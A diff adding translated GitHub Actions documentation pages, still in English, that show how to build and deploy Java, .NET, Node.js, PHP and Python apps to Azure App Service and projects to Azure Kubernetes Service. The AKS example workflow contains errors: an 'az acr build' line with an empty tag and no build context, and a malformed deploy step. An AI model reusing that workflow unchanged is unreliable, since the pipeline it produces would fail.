+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Build and deploy JAR app to Azure Web App
+
+env:
+  AZURE_WEBAPP_NAME: MY_WEBAPP_NAME   # set this to your application's name
+  JAVA_VERSION: '11'                  # set this to the Java version to use
+
+on:
+  push:
+    branches:
+      - main
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+
+      - name: Set up Java version
+        uses: {% data reusables.actions.action-setup-java %}
+        with:
+          java-version: {% raw %}${{ env.JAVA_VERSION }}{% endraw %}
+          cache: 'maven'
+
+      - name: Build with Maven
+        run: mvn clean install
+
+      - name: Upload artifact for deployment job
+        uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: java-app
+          path: '{% raw %}${{ github.workspace }}{% endraw %}/target/*.jar'
+
+  deploy:
+    runs-on: ubuntu-latest
+    needs: build
+    environment:
+      name: 'production'
+      url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %}
+
+    steps:
+      - name: Download artifact from build job
+        uses: {% data reusables.actions.action-download-artifact %}
+        with:
+          name: java-app
+
+      - name: Deploy to Azure Web App
+        id: deploy-to-webapp
+        uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e
+        with:
+          app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %}
+          publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
+          package: '*.jar'
+```
+
+## Additional resources
+
+The following resources may also be useful:
+
+* For the original starter workflow, see [`azure-webapps-java-jar.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-java-jar.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
+* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md
new file mode 100644
index 0000000000..b3729f828d
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md
@@ -0,0 +1,143 @@
+---
+title: Deploying .NET to Azure App Service
+intro: You can deploy your .NET project to Azure App Service as part of your continuous deployment (CD) workflows.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Azure App Service
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a .NET project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerequisites
+
+Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+
+{% data reusables.actions.create-azure-app-plan %}
+
+2. Create a web app.
+
+   For example, you can use the Azure CLI to create an Azure App Service web app with a .NET runtime:
+
+   ```bash{:copy}
+   az webapp create \
+       --name MY_WEBAPP_NAME \
+       --plan MY_APP_SERVICE_PLAN \
+       --resource-group MY_RESOURCE_GROUP \
+       --runtime "DOTNET|5.0"
+   ```
+
+   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+
+{% data reusables.actions.create-azure-publish-profile %}
+
+5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+
+## Creating the workflow
+
+Once you've completed the prerequisites, you can proceed with creating the workflow.
+
+The following example workflow demonstrates how to build and deploy a .NET project to Azure App Service when there is a push to the `main` branch.
+
+Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`.  If you use a version of .NET other than `5`, change `DOTNET_VERSION`.
+
+{% data reusables.actions.delete-env-key %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Build and deploy ASP.Net Core app to an Azure Web App
+
+env:
+  AZURE_WEBAPP_NAME: MY_WEBAPP_NAME   # set this to your application's name
+  AZURE_WEBAPP_PACKAGE_PATH: '.'      # set this to the path to your web app project, defaults to the repository root
+  DOTNET_VERSION: '5'                 # set this to the .NET Core version to use
+
+on:
+  push:
+    branches:
+      - main
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+
+      - name: Set up .NET Core
+        uses: {% data reusables.actions.action-setup-dotnet %}
+        with:
+          dotnet-version: {% raw %}${{ env.DOTNET_VERSION }}{% endraw %}
+
+      - name: Set up dependency caching for faster builds
+        uses: {% data reusables.actions.action-cache %}
+        with:
+          path: ~/.nuget/packages
+          key: {% raw %}${{ runner.os }}-nuget-${{ hashFiles('**/packages.lock.json') }}{% endraw %}
+          restore-keys: |
+            {% raw %}${{ runner.os }}-nuget-{% endraw %}
+
+      - name: Build with dotnet
+        run: dotnet build --configuration Release
+
+      - name: dotnet publish
+        run: dotnet publish -c Release -o {% raw %}${{env.DOTNET_ROOT}}{% endraw %}/myapp
+
+      - name: Upload artifact for deployment job
+        uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: .net-app
+          path: {% raw %}${{env.DOTNET_ROOT}}{% endraw %}/myapp
+
+  deploy:
+    runs-on: ubuntu-latest
+    needs: build
+    environment:
+      name: 'production'
+      url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %}
+
+    steps:
+      - name: Download artifact from build job
+        uses: {% data reusables.actions.action-download-artifact %}
+        with:
+          name: .net-app
+
+      - name: Deploy to Azure Web App
+        id: deploy-to-webapp
+        uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e
+        with:
+          app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %}
+          publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
+          package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %}
+```
+
+## Additional resources
+
+The following resources may also be useful:
+
+* For the original starter workflow, see [`azure-webapps-dotnet-core.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-dotnet-core.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
+* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md
new file mode 100644
index 0000000000..a15fa91f0a
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md
@@ -0,0 +1,140 @@
+---
+title: Deploying Node.js to Azure App Service
+intro: You can deploy your Node.js project to Azure App Service as part of your continuous deployment (CD) workflows.
+redirect_from:
+  - /actions/guides/deploying-to-azure-app-service
+  - /actions/deployment/deploying-to-azure-app-service
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure-app-service
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Node
+  - JavaScript
+  - Azure App Service
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build, test, and deploy a Node.js project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerequisites
+
+Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+
+{% data reusables.actions.create-azure-app-plan %}
+
+2. Create a web app.
+
+   For example, you can use the Azure CLI to create an Azure App Service web app with a Node.js runtime:
+
+   ```bash{:copy}
+   az webapp create \
+       --name MY_WEBAPP_NAME \
+       --plan MY_APP_SERVICE_PLAN \
+       --resource-group MY_RESOURCE_GROUP \
+       --runtime "NODE|14-lts"
+   ```
+
+   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+
+{% data reusables.actions.create-azure-publish-profile %}
+
+5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+
+## Creating the workflow
+
+Once you've completed the prerequisites, you can proceed with creating the workflow.
+
+The following example workflow demonstrates how to build, test, and deploy the Node.js project to Azure App Service when there is a push to the `main` branch.
+
+Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`  to your project path. If you use a version of Node.js other than `10.x`, change `NODE_VERSION` to the version that you use.
+
+{% data reusables.actions.delete-env-key %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+on:
+  push:
+    branches:
+      - main
+
+env:
+  AZURE_WEBAPP_NAME: MY_WEBAPP_NAME   # set this to your application's name
+  AZURE_WEBAPP_PACKAGE_PATH: '.'      # set this to the path to your web app project, defaults to the repository root
+  NODE_VERSION: '14.x'                # set this to the node version to use
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: {% data reusables.actions.action-checkout %}
+
+    - name: Set up Node.js
+      uses: {% data reusables.actions.action-setup-node %}
+      with:
+        node-version: {% raw %}${{ env.NODE_VERSION }}{% endraw %}
+        cache: 'npm'
+
+    - name: npm install, build, and test
+      run: |
+        npm install
+        npm run build --if-present
+        npm run test --if-present
+    - name: Upload artifact for deployment job
+      uses: {% data reusables.actions.action-upload-artifact %}
+      with:
+        name: node-app
+        path: .
+
+  deploy:
+    runs-on: ubuntu-latest
+    needs: build
+    environment:
+      name: 'production'
+      url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %}
+
+    steps:
+    - name: Download artifact from build job
+      uses: {% data reusables.actions.action-download-artifact %}
+      with:
+        name: node-app
+
+    - name: 'Deploy to Azure WebApp'
+      id: deploy-to-webapp 
+      uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e
+      with:
+        app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %}
+        publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
+        package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %}
+```
+
+## Additional resources
+
+The following resources may also be useful:
+
+* For the original starter workflow, see [`azure-webapps-node.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-node.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
+* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* For more examples of GitHub Action workflows that deploy to Azure, see the 
+[actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
+* The "[Create a Node.js web app in Azure](https://docs.microsoft.com/azure/app-service/quickstart-nodejs)" quickstart in the Azure web app documentation demonstrates using {% data variables.product.prodname_vscode %} with the [Azure App Service extension](https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-azureappservice).
diff --git a/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md
new file mode 100644
index 0000000000..ff5236a5ca
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md
@@ -0,0 +1,158 @@
+---
+title: Deploying PHP to Azure App Service
+intro: You can deploy your PHP project to Azure App Service as part of your continuous deployment (CD) workflows.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Azure App Service
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a PHP project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerequisites
+
+Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+
+{% data reusables.actions.create-azure-app-plan %}
+
+2. Create a web app.
+
+   For example, you can use the Azure CLI to create an Azure App Service web app with a PHP runtime:
+
+   ```bash{:copy}
+   az webapp create \
+       --name MY_WEBAPP_NAME \
+       --plan MY_APP_SERVICE_PLAN \
+       --resource-group MY_RESOURCE_GROUP \
+       --runtime "php|7.4"
+   ```
+
+   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+
+{% data reusables.actions.create-azure-publish-profile %}
+
+5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+
+## Creating the workflow
+
+Once you've completed the prerequisites, you can proceed with creating the workflow.
+
+The following example workflow demonstrates how to build and deploy a PHP project to Azure App Service when there is a push to the `main` branch.
+
+Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH` to the path to your project. If you use a version of PHP other than `8.x`, change`PHP_VERSION` to the version that you use.
+
+{% data reusables.actions.delete-env-key %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Build and deploy PHP app to Azure Web App
+
+env:
+  AZURE_WEBAPP_NAME: MY_WEBAPP_NAME   # set this to your application's name
+  AZURE_WEBAPP_PACKAGE_PATH: '.'      # set this to the path to your web app project, defaults to the repository root
+  PHP_VERSION: '8.x'                  # set this to the PHP version to use
+
+on:
+  push:
+    branches:
+      - main
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+
+      - name: Setup PHP
+        uses: shivammathur/setup-php@v2
+        with:
+          php-version: {% raw %}${{ env.PHP_VERSION }}{% endraw %}
+
+      - name: Check if composer.json exists
+        id: check_files
+        uses: andstor/file-existence-action@v1
+        with:
+          files: 'composer.json'
+
+      - name: Get Composer Cache Directory
+        id: composer-cache
+        if: steps.check_files.outputs.files_exists == 'true'
+        run: |
+{%- ifversion actions-save-state-set-output-envs %}
+          echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT
+{%- else %}
+          echo "::set-output name=dir::$(composer config cache-files-dir)"
+{%- endif %}
+
+      - name: Set up dependency caching for faster installs
+        uses: {% data reusables.actions.action-cache %}
+        if: steps.check_files.outputs.files_exists == 'true'
+        with:
+          path: {% raw %}${{ steps.composer-cache.outputs.dir }}{% endraw %}
+          key: {% raw %}${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}{% endraw %}
+          restore-keys: |
+            {% raw %}${{ runner.os }}-composer-{% endraw %}
+
+      - name: Run composer install if composer.json exists
+        if: steps.check_files.outputs.files_exists == 'true'
+        run: composer validate --no-check-publish && composer install --prefer-dist --no-progress
+
+      - name: Upload artifact for deployment job
+        uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: php-app
+          path: .
+
+  deploy:
+    runs-on: ubuntu-latest
+    needs: build
+    environment:
+      name: 'production'
+      url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %}
+
+    steps:
+      - name: Download artifact from build job
+        uses: {% data reusables.actions.action-download-artifact %}
+        with:
+          name: php-app
+
+      - name: 'Deploy to Azure Web App'
+        id: deploy-to-webapp
+        uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e
+        with:
+          app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %}
+          publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
+          package: .
+```
+
+## Additional resources
+
+The following resources may also be useful:
+
+* For the original starter workflow, see [`azure-webapps-php.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-php.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
+* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md
new file mode 100644
index 0000000000..a17a8efabe
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md
@@ -0,0 +1,150 @@
+---
+title: Deploying Python to Azure App Service
+intro: You can deploy your Python project to Azure App Service as part of your continuous deployment (CD) workflows.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Python
+  - Azure App Service
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Python project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerequisites
+
+Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+
+{% data reusables.actions.create-azure-app-plan %}
+
+1. Create a web app.
+
+   For example, you can use the Azure CLI to create an Azure App Service web app with a Python runtime:
+
+   ```bash{:copy}
+   az webapp create \
+       --name MY_WEBAPP_NAME \
+       --plan MY_APP_SERVICE_PLAN \
+       --resource-group MY_RESOURCE_GROUP \
+       --runtime "python|3.8"
+   ```
+
+   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+
+{% data reusables.actions.create-azure-publish-profile %}
+
+1. Add an app setting called `SCM_DO_BUILD_DURING_DEPLOYMENT` and set the value to `1`.
+
+5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+
+## Creating the workflow
+
+Once you've completed the prerequisites, you can proceed with creating the workflow.
+
+The following example workflow demonstrates how to build and deploy a Python project to Azure App Service when there is a push to the `main` branch.
+
+Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If you use a version of Python other than `3.8`, change `PYTHON_VERSION` to the version that you use.
+
+{% data reusables.actions.delete-env-key %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Build and deploy Python app to Azure Web App
+
+env:
+  AZURE_WEBAPP_NAME: MY_WEBAPP_NAME   # set this to your application's name
+  PYTHON_VERSION: '3.8'               # set this to the Python version to use
+
+on:
+  push:
+    branches:
+      - main
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+
+      - name: Set up Python version
+        uses: {% data reusables.actions.action-setup-python %}
+        with:
+          python-version: {% raw %}${{ env.PYTHON_VERSION }}{% endraw %}
+
+      - name: Create and start virtual environment
+        run: |
+          python -m venv venv
+          source venv/bin/activate
+      
+      - name: Set up dependency caching for faster installs
+        uses: {% data reusables.actions.action-cache %}
+        with:
+          path: ~/.cache/pip
+          key: {% raw %}${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }}{% endraw %}
+          restore-keys: |
+            {% raw %}${{ runner.os }}-pip-{% endraw %}
+
+      - name: Install dependencies
+        run: pip install -r requirements.txt
+
+      # Optional: Add a step to run tests here (PyTest, Django test suites, etc.)
+
+      - name: Upload artifact for deployment jobs
+        uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: python-app
+          path: |
+            .
+            !venv/
+  deploy:
+    runs-on: ubuntu-latest
+    needs: build
+    environment:
+      name: 'production'
+      url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %}
+
+    steps:
+      - name: Download artifact from build job
+        uses: {% data reusables.actions.action-download-artifact %}
+        with:
+          name: python-app
+          path: .
+
+      - name: 'Deploy to Azure Web App'
+        id: deploy-to-webapp
+        uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e
+        with:
+          app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %}
+          publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
+```
+
+## Additional resources
+
+The following resources may also be useful:
+
+* For the original starter workflow, see [`azure-webapps-python.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-python.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
+* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md
new file mode 100644
index 0000000000..99dbf66830
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md
@@ -0,0 +1,128 @@
+---
+title: Deploying to Azure Kubernetes Service
+intro: You can deploy your project to Azure Kubernetes Service (AKS) as part of your continuous deployment (CD) workflows.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Azure Kubernetes Service
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+
+## Introduction
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a project to [Azure Kubernetes Service](https://azure.microsoft.com/services/kubernetes-service/).
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerequisites
+
+Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+
+1. Create a target AKS cluster and an Azure Container Registry (ACR). For more information, see "[Quickstart: Deploy an AKS cluster by using the Azure portal - Azure Kubernetes Service](https://docs.microsoft.com/azure/aks/kubernetes-walkthrough-portal)" and "[Quickstart - Create registry in portal - Azure Container Registry](https://docs.microsoft.com/azure/container-registry/container-registry-get-started-portal)" in the Azure documentation.
+
+1. Create a secret called `AZURE_CREDENTIALS` to store your Azure credentials. For more information about how to find this information and structure the secret, see [the `Azure/login` action documentation](https://github.com/Azure/login#configure-a-service-principal-with-a-secret).
+
+## Creating the workflow
+
+Once you've completed the prerequisites, you can proceed with creating the workflow.
+
+The following example workflow demonstrates how to build and deploy a project to Azure Kubernetes Service when code is pushed to your repository.
+
+Under the workflow `env` key, change the following values:
+- `AZURE_CONTAINER_REGISTRY` to the name of your container registry
+- `PROJECT_NAME` to the name of your project
+- `RESOURCE_GROUP` to the resource group containing your AKS cluster
+- `CLUSTER_NAME` to the name of your AKS cluster
+
+This workflow uses the `helm` render engine for the [`azure/k8s-bake` action](https://github.com/Azure/k8s-bake). If you will use the `helm` render engine, change the value of `CHART_PATH` to the path to your helm file. Change `CHART_OVERRIDE_PATH` to an array of override file paths. If you use a different render engine, update the input parameters sent to the `azure/k8s-bake` action.
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Build and deploy to Azure Kubernetes Service
+
+env:
+  AZURE_CONTAINER_REGISTRY: MY_REGISTRY_NAME # set this to the name of your container registry
+  PROJECT_NAME: MY_PROJECT_NAME              # set this to your project's name
+  RESOURCE_GROUP: MY_RESOURCE_GROUP          # set this to the resource group containing your AKS cluster
+  CLUSTER_NAME: MY_CLUSTER_NAME              # set this to the name of your AKS cluster
+  REGISTRY_URL: MY_REGISTRY_URL              # set this to the URL of your registry
+  # If you bake using helm:
+  CHART_PATH: MY_HELM_FILE                   # set this to the path to your helm file
+  CHART_OVERRIDE_PATH: MY_OVERRIDE_FILES     # set this to an array of override file paths
+
+on: [push]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: {% data reusables.actions.action-checkout %}
+
+    - name: Azure Login
+      uses: azure/login@89d153571fe9a34ed70fcf9f1d95ab8debea7a73
+      with:
+        creds: {% raw %}${{ secrets.AZURE_CREDENTIALS }}{% endraw %}
+
+    - name: Build image on ACR
+      uses: azure/CLI@7378ce2ca3c38b4b063feb7a4cbe384fef978055
+      with:
+        azcliversion: 2.29.1
+        inlineScript: |
+          az configure --defaults acr={% raw %}${{ env.AZURE_CONTAINER_REGISTRY }}{% endraw %}
+          az acr build -t  -t {% raw %}${{ env.REGISTRY_URL }}{% endraw %}/{% raw %}${{ env.PROJECT_NAME }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}
+    
+    - name: Gets K8s context
+      uses: azure/aks-set-context@4e5aec273183a197b181314721843e047123d9fa
+      with:
+          creds: {% raw %}${{ secrets.AZURE_CREDENTIALS }}{% endraw %}
+          resource-group: {% raw %}${{ env.RESOURCE_GROUP }}{% endraw %}
+          cluster-name: {% raw %}${{ env.CLUSTER_NAME }}{% endraw %}
+      id: login
+
+    - name: Configure deployment
+      uses: azure/k8s-bake@773b6144a3732e3bf4c78b146a0bb9617b2e016b
+      with:
+        renderEngine: 'helm'
+        helmChart: {% raw %}${{ env.CHART_PATH }}{% endraw %}
+        overrideFiles: {% raw %}${{ env.CHART_OVERRIDE_PATH }}{% endraw %}
+        overrides: |     
+          replicas:2
+        helm-version: 'latest' 
+      id: bake
+
+    - name: Deploys application
+    - uses: Azure/k8s-deploy@c8fbd76ededaad2799c054a9fd5d0fa5d4e9aee4
+      with:
+        manifests: {% raw %}${{ steps.bake.outputs.manifestsBundle }}{% endraw %}
+        images: |
+          {% raw %}${{ env.AZURE_CONTAINER_REGISTRY }}{% endraw %}.azurecr.io/{% raw %}${{ env.PROJECT_NAME }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}
+        imagepullsecrets: |
+          {% raw %}${{ env.PROJECT_NAME }}{% endraw %}
+```
+
+## Additional resources
+
+The following resources may also be useful:
+
+* For the original starter workflow, see [`azure-kubernetes-service.yml `](https://github.com/actions/starter-workflows/blob/main/deployments/azure-kubernetes-service.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
+* The actions used to in this workflow are the official Azure [`Azure/login`](https://github.com/Azure/login),[`Azure/aks-set-context`](https://github.com/Azure/aks-set-context), [`Azure/CLI`](https://github.com/Azure/CLI), [`Azure/k8s-bake`](https://github.com/Azure/k8s-bake), and [`Azure/k8s-deploy`](https://github.com/Azure/k8s-deploy)actions.
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md
new file mode 100644
index 0000000000..6a267be0b2
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md
@@ -0,0 +1,116 @@
+---
+title: Deploying to Azure Static Web App
+intro: You can deploy your web app to Azure Static Web App as part of your continuous deployment (CD) workflows.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Azure Static Web Apps
+---
+
+{% data reusables.actions.enterprise-beta %}
